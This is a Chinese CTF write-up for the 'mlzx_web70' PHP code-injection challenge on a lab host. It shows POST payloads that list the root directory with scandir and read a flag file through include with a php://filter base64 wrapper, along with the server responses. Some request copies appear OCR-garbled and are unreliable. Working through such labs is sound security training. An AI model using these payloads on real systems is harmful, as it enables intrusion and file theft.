

mlzx_web70

原地址: [GZCTF-challenges/mlzx/mlzx_web70](#)

禁用 `var_export` `readgzfile` , 开放 `echo`

使用 echo 获取 flag 位置

```
1 POST / HTTP/1.1
2 Host: 192.168.128.131:32808
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=echo json_encode(scandir("/));
```

```
1 HTTP/1.1 200 OK
2 Date: Wed, 05 Nov 2025 06:48:07 GMT
3 Server: Apache/2.4.65 (Debian) PHP/8.2.29
4 X-Powered-By: PHP/8.2.29
5 Vary: Accept-Encoding
6 Content-Type: text/html; charset=utf-8
7 Content-Length: 253
8
9 [
10   ".",
11   "..",
12   ".dockerenv",
13   "bin",
14   "boot",
15   "dev",
16   "entrypoint.sh",
17   "etc",
18   "flag350234.txt",
19   "home",
20   "lib",
21   "lib64",
22   "media",
23   "mnt",
```

```
24      "opt",
25      "proc",
26      "root",
27      "run",
28      "sbin",
29      "srv",
30      "sys",
31      "tmp",
32      "usr",
33      "var"
34  ]
35
```

Request

1 POST / HTTP/1.1
2 Host : 192.168.128.131:32808
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length auto :: 31
5
6 c=echo json_encode(scandir("/"));

179bytes / 5ms Content-Type 美化 HEX 编码 ↻ 请输入定位响应

1 HTTP/1.1 200 OK
2 Date: Wed, 05-Nov-2025 06:48:07 GMT
3 Server: Apache/2.4.65 (Debian) PHP/8.2.29
4 X-Powered-By: PHP/8.2.29
5 Vary: Accept-Encoding
6 Content-Type: text/html; charset=utf-8 text/html; charset=UTF-8
7 Content-Length: 253

8 [
9 [..
10 ..
11 ..
12 .."dockerenv",
13 .."bin",
14 .."boot",
15 .."dev",
16 .."entrypoint.sh",
17 .."etc",
18 .."flag350234.txt",
19 .."home",
20 .."lib",
21 .."lib64",]
22 .."media",
23 .."mnt",
24 .."proc",
25 .."root",
26 .."run",
27 .."sbin",
28 .."srv",
29 .."sys",
30 .."tmp",
31 .."usr",
32 .."var"]

192.168.128.131:32808
8: 响应时间: 5ms, 总耗时: 7m
s: URL:http://192.168.128.131:32808/
08/

```
1 POST / HTTP/1.1
2 Host: 192.168.128.131:32808
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=echo(implode(", ",scandir("/")));
```

```
1 HTTP/1.1 200 OK
2 Date: Wed, 05 Nov 2025 06:49:18 GMT
3 Server: Apache/2.4.65 (Debian) PHP/8.2.29
4 X-Powered-By: PHP/8.2.29
5 Vary: Accept-Encoding
6 Content-Type: text/html; charset=UTF-8
7 Content-Length: 130
8
9 .,.,,.dockerenv,bin,boot,dev,entrypoint.sh,etc,flag350234.txt,home,lib,lib64,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var
```

Request

```
1 POST / HTTP/1.1
2 Host: 192.168.128.131:32808
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=echo.implode(",scandir("/") ));
```

129bytes / 2ms

```
1 HTTP/1.1 200 OK
2 Date: Wed, 05-Nov-2025 06:49:18 GMT
3 Server: Apache/2.4.65 (Debian) -PHP/8.2.29
4 X-Powered-By: PHP/8.2.29
5 Vary: Accept-Encoding
6 Content-Type: text/html; charset=UTF-8
7 Content-Length: 130
8
9 .,.,,.dockerenv,bin,boot,dev,entrypoint.sh,etc,flag350234.txt,home,lib,lib64,media,mnt,opt,proc,root,
run,sbin,srv,sys,tmp,usr,var
10 |
```

远端地址: 192.168.128.131:32808
耗时: 2ms 总耗时: 3ms
URL: http://192.168.128.131:32808/

获取 flag

```
1 POST / HTTP/1.1
2 Host: 192.168.128.131:32808
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=include($_POST['w']);&w=php://filter/convert.base64-
encode/resource=/flag350234.txt
```

```
1 HTTP/1.1 200 OK
2 Date: Wed, 05 Nov 2025 06:50:24 GMT
3 Server: Apache/2.4.65 (Debian) PHP/8.2.29
4 X-Powered-By: PHP/8.2.29
5 Content-Type: text/html; charset=UTF-8
6 Content-Length: 41
7
8 ZmxhZ3tHWkNUR19keW5hbWljX2ZsYWdfdGVzdH0K
9
```

Request 202 bytes

```
POST / HTTP/1.1
Host : 192.168.128.131:32808
Content-Type: application/x-www-form-urlencoded
Content-Length auto : 31
c=include($_POST['w']);&v=php://filter/convert.base64-encode/resource=/flag350234.txt
```

40 bytes

```
HTTP/1.1 200 OK
Date: Wed, 05 Nov 2025 06:50:24 GMT
Server: Apache/2.4.65 (Debian) PHP/8.2.29
X-Powered-By: PHP/8.2.29
Content-Type: text/html; charset=UTF-8
neth: 41
```

设置地址: 192.168.128.131:3280
8: 响应时间: 2ms, 总耗时: 4ms
s: URL:http://192.168.128.131:3280
08/

解码 智能解码

Base64 解码

flag{GZCTF_dynamic_flag_test}